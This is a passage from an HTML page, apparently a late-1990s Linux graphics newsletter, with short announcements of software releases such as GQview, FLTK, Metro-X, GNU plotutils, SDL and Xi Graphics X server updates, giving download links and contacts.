them in the past month.</FONT></FONT></TD>
</TR>
<TR>
<TD>
<HR NOSHADE WIDTH="100%"></TD>
</TR>
</TABLE>
<A NAME="blender"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Blender
Manual is now available for ordering</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The <B><FONT COLOR="#CC6600">Blender
Manual</FONT></B> is available for purchase: <A HREF="http://www.blender.nl/shop/index.html">http://www.blender.nl/shop/index.html.</A>
Looks to be about $49US for a fairly hefty manual.</FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="moxy"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Moxy
0.1.2</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">Moxy</FONT></B>
is a linear video editor, much like Adobe's Premiere. It can load many
different file format (Including MJPEG AVIs, P*Ms and JMF) and output AVIs.
It comes with some transitions (you can make some yourself, they're plugins)
and you are free to contribute code. </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://millennium.diads.com/moxy/">http://millennium.diads.com/moxy/</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="quickimage"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Quick
Image Viewer 0.9.1</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">Quick
Image Viewer</FONT></B> (qiv) is a very small and pretty fast GDK/Imlib
image viewer. Features include zoom, maxpect, scale down, fullscreen,
brightness/contrast/gamma correction, slideshow, flip horizontal/vertical,
rotate left/right, delete (move to .qiv-trash/), jump to image x, jump
forward/backward x images, filename filer and you can use qiv to set your
X11-Desktop background.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This version works on Solaris/SunOS
again.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.geocities.com/SiliconValley/Haven/5235/">http://www.geocities.com/SiliconValley/Haven/5235/</A></FONT></FONT></TD>
</TR>
</TABLE>
<P>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="gqviewer"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>GQview
0.4.3</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">GQview</FONT></B>
is an X11 image viewer for the Linux operating system. Its key features
include single click file viewing, external editor support, thumbnail preview,
thumbnail caching and adjustable zoom. GQview is currently available in
source, binary, and rpm versions and requires the latest GTK and Imlib
libraries.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This release adds copy and
move capabilities, the ability to hide the tools area, cancel thumbnail
generation by pressing Escape, and more.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.klografx.de/">http://www.klografx.de/</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.geocities.com/SiliconValley/Haven/5235/">http://www.geocities.com/SiliconValley/Haven/5235/</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="fltk"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>FLTK
19981006</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">FLTK</FONT></B>
(pronounced "fulltick") is a LGPL'd C++ user interface toolkit for X, OpenGL,
and Microsoft Windows. FLTK is deliberately designed to be small, so that
you can statically link it with your applications and not worry about installation
problems. As a side effect it is also extremely fast.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>On September 25, 1998, Digital
Domain instructed Mr. Bill Spitzak to discontinue development of FLTK.
Shortly thereafter a group of developers for FLTK reincarnated the library
on a mirror site so that development could continue. The FLTK web page,
FTP site, mailing list, and CVS server are being hosted by Easy Software
Products, a small software firm located in Maryland. Easy Software Products
develops commercial software and supports free software.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://fltk.easysw.com/">http://fltk.easysw.com/</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="xawtv"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>XawTV
2.28</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">XawTV</FONT></B>
is a simple Xaw-based TV program which uses the bttv driver or video4linux.
It contains various command-line utilities for grabbing images and avi
movies, for tuning in TV stations, etc. A grabber driver for vic and a
radio application (needs KDE) for the boards with radio support are included
as well.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.in-berlin.de/User/kraxel/xawtv.html">http://www.in-berlin.de/User/kraxel/xawtv.html</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="jmkfonts"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>jmk-x11-fonts
1.2</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The <B><FONT COLOR="#CC6600">jmk-x11-fonts</FONT></B>
package contains character-cell fonts for use with the X Window System.
The current font included in this package is NouveauGothic, a pleasantly
legible variation on the standard fixed fonts that accompany most distributions
of the X Window System. It comes in both normal and bold weights in small,
medium, large, and extra-large sizes. Currently only ISO-8859-1 encoding
is available.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>New in this release of Jim's
fonts for X is a set of alternate NouveauGothic fonts with a more traditionally
shaped ampersand glyph, for those who don't particularly like the style
of NG's regular ampersand.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.ntrnet.net/~jmknoble/fonts/">http://www.ntrnet.net/~jmknoble/fonts/</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="killustrator"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>KIllustrator
0.4.1</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">KIllustrator</FONT></B>
is a freely available vector-based drawing application for the famous K
Desktop Environment similiar to Corel Draw(tm) or Adobe Illustrator(tm).
This version contains a new layer facility as well as some bug fixes and
performance improvements.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://wwwiti.cs.uni-magdeburg.de/~sattler/killustrator.html">http://wwwiti.cs.uni-magdeburg.de/~sattler/killustrator.html</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="mathmap"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>MathMap
0.7</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">MathMap</FONT></B>
is a GIMP plug-in which allows distortion of images specified by mathematical
formulas. For each pixel in the generated image, an expression is evaluated
which should return a pixel value. The expression can either refer to a
pixel in the source image or can generate pixels completely independent
of the source. MathMap not only allows the generation of still images but
also of animations.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The MathMap homepage can
be found at</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.unix.cslab.tuwien.ac.at/~schani/mathmap/">http://www.unix.cslab.tuwien.ac.at/~schani/mathmap/</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>It includes a user's manual
as well as screenshots and examples.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Changes since 0.6:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Implemented the tagged tuples
type system. This is major feature!</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Implemented better error handling
by borrowing a piece of code from the current development tree of chpp.</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mark Probst</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:schani@unix.cslab.tuwien.ac.at">schani@unix.cslab.tuwien.ac.at</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="metro-x"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>METRO-X
4.3</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The following announcement
was posted to <A HREF="news:comp.os.linux.announce">comp.os.linux.announce</A>
by MetroLink, Inc.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>NOW AVAILABLE FOR
LINUX/ALPHA!</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The <B><FONT COLOR="#CC6600">Metro-X
Enhanced Server Set</FONT></B> from Metro Link is now available for Linux/Alpha.
Metro-X provides more speed and more features at a very LOW PRICE!</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Metro-X 4.3 is an X11 Release
6.3 server replacement with all the features you need. It provides
support for the fastest, most popular graphics cards on the market
today. In addition, Metro-X includes touch screen support and multi-screen
support at no extra charge! So what IS the charge? Only $39!</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===GRAPHICAL CONFIGURATION
UTILITY===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Forget hand editing configuration
files or clumsy character-based setup utilities. Metro-X 4.3 includes
a state-of-the-art graphical configuration program. ConfigX helps
you get up and running in no time.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===EXTENSIVE GRAPHICS CARD
SUPPORT===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Want support for the latest,
highest-performance graphics cards? Then you want Metro-X 4.3. Check
the Metro-X 4.3 cardlist for Linux/Alpha on the web site to see which cards
are supported, as well as the available resolutions and colors for each.
In addition, as support becomes available for new cards between releases,
these updates to Metro-X 4.3 will be made available at no charge.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===MONITOR SUPPORT===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Tired of adjusting your monitor
or hand-editing timing parameters? With Metro-X you can relax. Just
select your monitor from the list and we do the rest. Even adjusting
the image is made easy with a graphical adjustment tool. Using the
mouse or keyboard, you simply stretch, shrink, or shift the image placement
on the monitor!</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===TOUCH SCREEN SUPPORT INCLUDED===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>At no extra charge, Metro-X
4.3 includes support for several models of touch screens. These include
the serial touch-screen controllers from:</FONT></FONT>
<BLOCKQUOTE>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Carroll Touch</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>EloGraphics</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Lucas Deeco</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MicroTouch</FONT></FONT></LI>
</BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===MULTI-HEADED DISPLAY SUPPORT
INCLUDED===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>At no extra charge, Metro-X
4.3 includes support for up to 4 screens per server which can all be controlled
simultaneously with a single keyboard and mouse. This allows you
to run many applications without overlapping windows. The graphical
configuration utility makes it simple to configure multiple graphics cards
and even lets you pick the screen layout. You can utilize this feature
with many combinations of these cards:</FONT></FONT>
<BLOCKQUOTE>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millennium</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millennium II</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Mystique</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Mystique 220</FONT></FONT></LI>
</BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1> NOTE: Only one Mystique
or Mystique 220 (not both) may be used in the combination.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===ROBUST PERFORMANCE===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Reliability and performance
are the foundation of Metro-X. Our customers are using Metro-X in
demanding applications from the Space Shuttle to the Battlefield.
Metro-X 4.3 incorporates advanced dynamic loader technology which eliminates
the need to build servers for specific types of graphics cards. It
makes server configuration quick and easy.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===METRO OPENGL EXTENSION
AVAILABLE SOON===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Using Metro-X's dynamic loader
technology, adding an extension like Metro OpenGL is as easy as installing
a package and running a program. This product will be available for
Linux/Alpha very soon.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===METRO LINK TECH SUPPORT===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>As always, software purchased
from Metro Link comes with 90 days of free technical support (via phone,
fax, or email) and a 30-day money-back guarantee.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===SYSTEM REQUIREMENTS===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>HARDWARE: Metro-X 4.3
requires 14 MB of disk space. 8MB of RAM are required; 16 MB are recommended.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SOFTWARE: Packages
are provided in both RPM and tar/gzip formats. Metro-X 4.3 requires
these minimum versions of software: Linux Kernel 2.0.30; glibc 2.0.5c;
and XFree86 3.3.1.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===AVAILABILITY AND DISTRIBUTION===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>PRICE: Metro-X 4.3
is $39</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>AVAILABILITY: Now</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>DISTRIBUTION: Metro-X
is only distributed via FTP. A postscript version of the Metro-X
manual is included. With a credit card payment, the FTP instructions
are usually emailed on the same day the order is received. Be sure
to include your email address when ordering.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>===CONTACT METRO LINK===</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.metrolink.com">www.metrolink.com</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:sales@metrolink.com">sales@metrolink.com</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>+1-954-938-0283 ext. 1</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>+1-954-938-1982 fax</FONT></FONT></BLOCKQUOTE>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="gnu-plotutils"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>GNU
PlotUtils 2.1.6</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Version 2.1.6 of the <B><FONT COLOR="#CC6600">GNU
plotting utilities</FONT></B> ("plotutils") package is now available.
This release includes a significantly enhanced version of the free C/C++
GNU libplot library for vector graphics, as well as seven command-line
utilities oriented toward data plotting (graph, plot, tek2plot, plotfont,
spline, ode, and double). A 130-page manual in texinfo format is
included.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>As of this release, GNU libplot
can produce graphics files in Adobe Illustrator format. So you may
now write C or C++ programs to draw vector graphics that Illustrator can
edit. Also, the support for the free `idraw' and `xfig' drawing editors
has been enhanced. For example, the file format used by xfig 3.2
is now supported.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>RPM's for the plotutils package
are available at ftp.redhat.com and at Red Hat mirror sites. The
following are available:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="ftp://ftp.redhat.com/pub/contrib/i386/plotutils-2.1.6-1.i386.rpm">ftp://ftp.redhat.com/pub/contrib/i386/plotutils-2.1.6-1.i386.rpm</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="ftp://ftp.redhat.com/pub/contrib/sparc/plotutils-2.1.6-1.sparc.rpm">ftp://ftp.redhat.com/pub/contrib/sparc/plotutils-2.1.6-1.sparc.rpm</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="ftp://ftp.redhat.com/pub/contrib/SRPMS/plotutils-2.1.6-1.src.rpm">ftp://ftp.redhat.com/pub/contrib/SRPMS/plotutils-2.1.6-1.src.rpm</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>For more details on the package,
see its official Web page, <A HREF="http://www.gnu.org/software/plotutils/plotutils.html">http://www.gnu.org/software/plotutils/plotutils.html</A>
.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I hope you find this release
useful (send bug reports and suggestions for enhancement both to <A HREF="mailto:bug-gnu-utils@gnu.org">bug-gnu-utils@gnu.org</A>
and to me). Enjoy.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Robert S. Maier - <A HREF="mailto:rsm@math.arizona.edu">rsm@math.arizona.edu</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="direct-media"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Simple
DirectMedia Layer Version 0.8</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This library is designed
to make it easy to write games that run on Linux, Win32 and BeOS using
the various native high-performance media interfaces, (for video, audio,
etc) and presenting a single source-code level API to your application.
This is a fairly low level API, but using this, completely portable applications
can be written with a great deal of flexibility.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">SDL</FONT></B>
has been split into a stable release, 0.8.x, and a development release,
0.9.x. The stable version is very robust, having been extensively tested
over the past 3 months. The development version has some exciting features
in progress, such as automatically adjusting to display changes, CD-ROM
support, and more.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Get it now from: <A HREF="http://www.devolution.com/~slouken/SDL/">http://www.devolution.com/~slouken/SDL/</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>GIMP lovers, grab your brushes!</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The "Official SDL Logo Contest"
is now in session. Send your entries, or instructions on downloading
your entries, via e-mail to <A HREF="mailto:slouken@devolution.com">slouken@devolution.com</A>
The winner will get his or her logo on the SDL web site, and will get their
names in the CREDITS list for the next version of SDL! You can view
the contest entries at <A HREF="http://www.devolution.com/~slouken/SDL/contest/">http://www.devolution.com/~slouken/SDL/contest/</A>.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>And if you're wondering..
"what can I really do with SDL?", be sure and download the examples archive,
which contains demontrations of:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Simple sprite animation</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Flame effects</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Organic firework animation</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Playing .FLC and .FLI animations</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Playing WAV and Macintosh sound
resources</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Playing .MOD, .S3M, and .XI
modules</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Plasma effects and palette animation</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Cut and paste of text and images</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Starfield rotation</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Truetype font rendering with
FreeType 1.1</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Dynamic image warping</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Emulating the Prometheus TrueColor
API</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>If you are interested, join
the development mailing list by sending e-mail to: <A HREF="mailto:sdl-subscribe@surfnetcity.com.au">sdl-subscribe@surfnetcity.com.au</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Enjoy, Sam Lantinga
<<A HREF="mailto:slouken@devolution.com">slouken@devolution.com</A>></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="tkscanfax"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>tkscanfax</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">tkscanfax</FONT></B>
provides combined GUI for command line scanner driver and mgetty+sendfax,
written in tcl/tk. It is a continuation of tkscan-0.8. This version
adds mgetty+sendfax GUI combined with tkscan to get fax scanning from tkscan.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>It is available from <A HREF="http://muon.kaist.ac.kr/~hbkim/linux/tkscanfax">http://muon.kaist.ac.kr/~hbkim/linux/tkscanfax</A>
and also from the <A HREF="http://sunsite.unc.edu/apps/graphics/capture">apps/graphics/capture</A>
directory at Sunsite.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There is no documentation
at this time. Please send questions, problems, comments or suggestions
to Hang Bae Kim <<A HREF="mailto:hbkim@muon.kaist.ac.kr">hbkim@muon.kaist.ac.kr</A>></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="mam-vrs"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>MAM/VRS</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MAM/VRS is a library for
animated, interactive 3D graphics, written in C++. It works on Unix (tested
on Linux, Solaris and Irix) and Windows 95/98/NT. MAM/VRS can produce output
for many rendering systems: OpenGL (or Mesa), POVRay, RenderMan and VRML
are supported. It provides bindings to many GUIs: Xt (Motif/Lesstif/Athena),
Qt, Tcl/Tk, MFC and soon Gtk. It is covered by the terms of the GNU LGPL.
Visit our homepage for more information and to download it:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://wwwmath.uni-muenster.de/~mam">http://wwwmath.uni-muenster.de/~mam</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Though this is the first public
announcement, MAM/VRS has been in active development and use for a long
time and is stable. MAM/VRS is not a 3D modeler or a 3D CAD/CAM program,
but it ...</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>is a C++ 3D graphics library,</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>offers a convenient scene graph
API to quickly build complex 3D scenes,</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>contains many classes to modify
or interact with the objects of the scenes, and to create animations,</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>is very extensible: support
for new renderers, GUIs, shapes, attributes, interaction or rendering techniques
etc. can be added easily,</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>comes with a tutorial, per-class
documentation and many examples.</FONT></FONT></LI>
</UL>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="xig"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Xi
Graphics</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There were a slew of announcements
from Xi Graphics posted to <A HREF="news:comp.os.linux.announce">comp.os.linux.announce</A>
this past month. I've globbed them together here under a single section.-
<B><I><FONT COLOR="#993300">'Muse</FONT></I></B></FONT></FONT>
<P><B><I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SiS 5598 support</FONT></FONT></I></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Xi Graphics made
SiS 5598 support available on September 14th, joining the previously supported
SiS 6326. Configurations for 1, 2, 3 and 4MB are supported.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The SiS 5598 is not capable
of supporting overlays but does support hardware gamma color correction
in all color depths. Maximum supported resolution is 1600x1200@60Hz
in 8bpp, and 1024x768@75Hz in 24bpp (packed) operation. Hardware
cursor is supported in all color depths. The Accelerated-X Server
conforms to the X Window System as measured by the freely available X Test
Suite.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The update, which should
be applied against the desktop (AX version) Accelerated-X Server version
4.1.2, is available from the Xi Graphics Anon-FTP site at URL:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="ftp://ftp.xig.com/pub/updates/accelx/desktop/4.1.2/D4102.013.tar.gz">ftp://ftp.xig.com/pub/updates/accelx/desktop/4.1.2/D4102.013.tar.gz</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Instructions for applying the
update and more detail may be found in the URL:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="ftp://ftp.xig.com/pub/updates/accelx/desktop/4.1.2/D4102.013.txt">ftp://ftp.xig.com/pub/updates/accelx/desktop/4.1.2/D4102.013.txt</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The update may be applied to
the freely available Accelerated-X demo at URL <A HREF="ftp://ftp.xig.com/pub/demos/AX412.Linux.tar.gz">ftp://ftp.xig.com/pub/demos/AX412.Linux.tar.gz</A>
for customer testing prior to purchase of the product.</FONT></FONT></BLOCKQUOTE>
<B><I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>NeoMagic MagicMedia, including
Toshiba Tecra 800 and the Gateway Solo 5150</FONT></FONT></I></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Xi Graphics is pleased
to announce the release of support for the NeoMagic MagicMedia 256AV, also
known as the NM2200 and the NM2360. This is much faster than previous
NeoMagic chipsets as the new benchmarks show. The initial machines
explicitly supported are the Toshiba Tecra 800 and the Gateway Solo 5150.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Benchmark tests were conducted
on a Toshiba Tecra 8000 with a Pentium II/266 Mhz processor, making the
results broadly comparable with those for the ATI Rage LT Pro announced
in August. The Accelerated-X Server, Xaccel, passes the X Test Suite
with hardware acceleration in all color depths.</FONT></FONT></BLOCKQUOTE>
<B><I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Accelerated-X/OGL</FONT></FONT></I></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Xi Graphics, leader
in X Window System technologies for Intel Linux and UNIX Systems will be
shipping a limited quantity edition Technology Demo of its' new A<B><FONT COLOR="#CC6600">ccelerated-X/OGL</FONT></B>
product.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Accelerated-X/OGL is the
fifth architecture generation of Accelerated-X and has been specifically
altered to provide support for a wide range of 3D graphics chips.
The limited edition Technical Demonstration release offers an opportunity
for games and other developers to influence the final delivered product.
The Accelerated-X/OGL Technology Demo Evolution 1 product features:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Only available for threaded
OS's:</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Linux/glibc2</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Solaris/x86 2.51, 2.6</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>UNIXware 7</FONT></FONT></LI>
</UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Fully accelerated 2D Server,
X11R6.4 specs</FONT></FONT></LI>
<LI>
